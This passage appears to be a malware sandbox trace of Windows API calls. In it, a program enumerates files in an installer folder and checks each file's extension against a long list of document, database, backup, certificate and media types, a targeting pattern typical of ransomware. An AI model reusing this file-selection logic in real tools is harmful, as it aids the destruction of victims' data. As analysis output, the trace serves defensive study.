(lpString1=".j2c", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".j2k") returned 4 [0086.049] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".java") returned 5 [0086.049] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0086.049] lstrlenW (lpString=".jp2") returned 4 [0086.049] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".jpc") returned 4 [0086.050] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".jpe") returned 4 [0086.050] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".jpeg") returned 5 [0086.050] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0086.050] lstrlenW (lpString=".jpf") returned 4 [0086.050] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".jpg") returned 4 [0086.050] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".jpx") returned 4 [0086.050] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".js") returned 3 [0086.050] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0086.050] lstrlenW (lpString=".jsf") returned 4 [0086.050] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".json") returned 5 [0086.050] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0086.050] lstrlenW (lpString=".jsp") returned 4 [0086.050] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".kdc") returned 4 [0086.050] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".kmz") returned 4 [0086.050] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".kwm") returned 4 [0086.050] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0086.050] lstrlenW (lpString=".lasso") returned 6 [0086.051] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0086.051] lstrlenW (lpString=".lbi") returned 4 [0086.051] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".lgf") returned 4 [0086.051] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".lgp") returned 4 [0086.051] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".log") returned 4 [0086.051] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".m1v") returned 4 [0086.051] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".m4a") returned 4 [0086.051] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".m4v") returned 4 [0086.051] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".max") returned 4 [0086.051] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0086.051] lstrlenW (lpString=".md") returned 3 [0086.051] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0086.052] lstrlenW (lpString=".mda") returned 4 [0086.052] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mdb") returned 4 [0086.052] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mde") returned 4 [0086.052] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mdf") returned 4 [0086.052] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mdw") returned 4 [0086.052] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mef") returned 4 [0086.052] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mft") returned 4 [0086.052] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mfw") returned 4 [0086.052] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mht") returned 4 [0086.052] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mhtml") returned 6 [0086.052] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0086.052] lstrlenW (lpString=".mka") returned 4 [0086.052] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mkidx") returned 6 [0086.052] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0086.052] lstrlenW (lpString=".mkv") returned 4 [0086.052] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0086.052] lstrlenW (lpString=".mos") returned 4 [0086.052] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mov") returned 4 [0086.053] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mp3") returned 4 [0086.053] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mp4") returned 4 [0086.053] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mpeg") returned 5 [0086.053] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0086.053] lstrlenW (lpString=".mpg") returned 4 [0086.053] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mpv") returned 4 [0086.053] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mrw") returned 4 [0086.053] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".msg") returned 4 [0086.053] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".mxl") returned 4 [0086.053] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".myd") returned 4 [0086.053] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".myi") returned 4 [0086.053] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".nef") returned 4 [0086.053] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".nrw") returned 4 [0086.053] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0086.053] lstrlenW (lpString=".obj") returned 4 [0086.054] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".odb") returned 4 [0086.054] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".odc") returned 4 [0086.054] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".odm") returned 4 [0086.054] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".odp") returned 4 [0086.054] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".ods") returned 4 [0086.054] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".oft") returned 4 [0086.054] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".one") returned 4 [0086.054] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".onepkg") returned 7 [0086.054] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0086.054] lstrlenW (lpString=".onetoc2") returned 8 [0086.054] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0086.054] lstrlenW (lpString=".opt") returned 4 [0086.054] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".oqy") returned 4 [0086.054] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".orf") returned 4 [0086.054] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0086.054] lstrlenW (lpString=".p12") returned 4 [0086.054] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".p7b") returned 4 [0086.055] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".p7c") returned 4 [0086.055] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pam") returned 4 [0086.055] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pbm") returned 4 [0086.055] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pct") returned 4 [0086.055] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pcx") returned 4 [0086.055] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pdd") returned 4 [0086.055] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pdf") returned 4 [0086.055] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pdp") returned 4 [0086.055] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pef") returned 4 [0086.055] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pem") returned 4 [0086.055] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pff") returned 4 [0086.055] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pfm") returned 4 [0086.055] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0086.055] lstrlenW (lpString=".pfx") returned 4 [0086.055] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".pgm") returned 4 [0086.056] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".php") returned 4 [0086.056] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".php3") returned 5 [0086.056] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0086.056] lstrlenW (lpString=".php4") returned 5 [0086.056] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0086.056] lstrlenW (lpString=".php5") returned 5 [0086.056] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0086.056] lstrlenW (lpString=".phtml") returned 6 [0086.056] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0086.056] lstrlenW (lpString=".pict") returned 5 [0086.056] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0086.056] lstrlenW (lpString=".pl") returned 3 [0086.056] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0086.056] lstrlenW (lpString=".pls") returned 4 [0086.056] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".pm") returned 3 [0086.056] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0086.056] lstrlenW (lpString=".png") returned 4 [0086.056] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".pnm") returned 4 [0086.056] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".pot") returned 4 [0086.056] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0086.056] lstrlenW (lpString=".potm") returned 5 [0086.057] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".potx") returned 5 [0086.057] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".ppa") returned 4 [0086.057] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".ppam") returned 5 [0086.057] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".ppm") returned 4 [0086.057] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".pps") returned 4 [0086.057] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".ppsm") returned 5 [0086.057] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".ppt") returned 4 [0086.057] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".pptm") returned 5 [0086.057] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".pptx") returned 5 [0086.057] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0086.057] lstrlenW (lpString=".prn") returned 4 [0086.057] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".ps") returned 3 [0086.057] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0086.057] lstrlenW (lpString=".psb") returned 4 [0086.057] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".psd") returned 4 [0086.057] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0086.057] lstrlenW (lpString=".pst") returned 4 [0086.058] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".ptx") returned 4 [0086.058] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".pub") returned 4 [0086.058] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".pwm") returned 4 [0086.058] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".pxr") returned 4 [0086.058] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".py") returned 3 [0086.058] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0086.058] lstrlenW (lpString=".qt") returned 3 [0086.058] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0086.058] lstrlenW (lpString=".r3d") returned 4 [0086.058] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".raf") returned 4 [0086.058] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0086.058] lstrlenW (lpString=".rar") returned 4 [0086.058] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.058] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0086.059] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.059] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.059] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0086.059] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.059] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0086.059] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26 [0086.059] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0086.060] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.060] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0086.060] lstrlenW (lpString="eula.rtf") returned 8 [0086.060] lstrlenW (lpString=".1cd") returned 4 [0086.060] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.060] lstrlenW (lpString=".3ds") returned 4 [0086.060] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0086.060] lstrlenW (lpString=".3fr") returned 4 [0086.060] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0086.060] lstrlenW (lpString=".3g2") returned 4 [0086.060] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0086.060] lstrlenW (lpString=".3gp") returned 4 [0086.060] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0086.060] lstrlenW (lpString=".7z") returned 3 [0086.060] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.060] lstrlenW (lpString=".accda") returned 6 [0086.060] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0086.060] lstrlenW (lpString=".accdb") returned 6 [0086.060] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0086.060] lstrlenW (lpString=".accdc") returned 6 [0086.060] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0086.060] lstrlenW (lpString=".accde") returned 6 [0086.060] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0086.061] lstrlenW (lpString=".accdt") returned 6 [0086.061] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0086.061] lstrlenW (lpString=".accdw") returned 6 [0086.061] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0086.061] lstrlenW (lpString=".adb") returned 4 [0086.061] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".adp") returned 4 [0086.061] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai") returned 3 [0086.061] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0086.061] lstrlenW (lpString=".ai3") returned 4 [0086.061] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai4") returned 4 [0086.061] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai5") returned 4 [0086.061] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai6") returned 4 [0086.061] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai7") returned 4 [0086.061] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".ai8") returned 4 [0086.061] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".anim") returned 5 [0086.061] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0086.061] lstrlenW (lpString=".arw") returned 4 [0086.061] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0086.061] lstrlenW (lpString=".as") returned 3 [0086.061] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0086.062] lstrlenW (lpString=".asa") returned 4 [0086.062] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".asc") returned 4 [0086.062] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".ascx") returned 5 [0086.062] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0086.062] lstrlenW (lpString=".asm") returned 4 [0086.062] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".asmx") returned 5 [0086.062] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0086.062] lstrlenW (lpString=".asp") returned 4 [0086.062] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".aspx") returned 5 [0086.062] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0086.062] lstrlenW (lpString=".asr") returned 4 [0086.062] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".asx") returned 4 [0086.062] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".avi") returned 4 [0086.062] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".avs") returned 4 [0086.062] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".backup") returned 7 [0086.062] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0086.062] lstrlenW (lpString=".bak") returned 4 [0086.062] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0086.062] lstrlenW (lpString=".bay") returned 4 [0086.062] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".bd") returned 3 [0086.063] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0086.063] lstrlenW (lpString=".bin") returned 4 [0086.063] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".bmp") returned 4 [0086.063] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".bz2") returned 4 [0086.063] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".c") returned 2 [0086.063] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0086.063] lstrlenW (lpString=".cdr") returned 4 [0086.063] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".cer") returned 4 [0086.063] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".cf") returned 3 [0086.063] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0086.063] lstrlenW (lpString=".cfc") returned 4 [0086.063] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".cfm") returned 4 [0086.063] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".cfml") returned 5 [0086.063] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0086.063] lstrlenW (lpString=".cfu") returned 4 [0086.063] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".chm") returned 4 [0086.063] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0086.063] lstrlenW (lpString=".cin") returned 4 [0086.064] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".class") returned 6 [0086.064] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0086.064] lstrlenW (lpString=".clx") returned 4 [0086.064] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".config") returned 7 [0086.064] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0086.064] lstrlenW (lpString=".cpp") returned 4 [0086.064] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".cr2") returned 4 [0086.064] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".crt") returned 4 [0086.064] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".crw") returned 4 [0086.064] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".cs") returned 3 [0086.064] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0086.064] lstrlenW (lpString=".css") returned 4 [0086.064] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".csv") returned 4 [0086.064] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".cub") returned 4 [0086.064] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".dae") returned 4 [0086.064] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0086.064] lstrlenW (lpString=".dat") returned 4 [0086.064] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".db") returned 3 [0086.065] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0086.065] lstrlenW (lpString=".dbf") returned 4 [0086.065] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dbx") returned 4 [0086.065] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dc3") returned 4 [0086.065] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dcm") returned 4 [0086.065] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dcr") returned 4 [0086.065] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 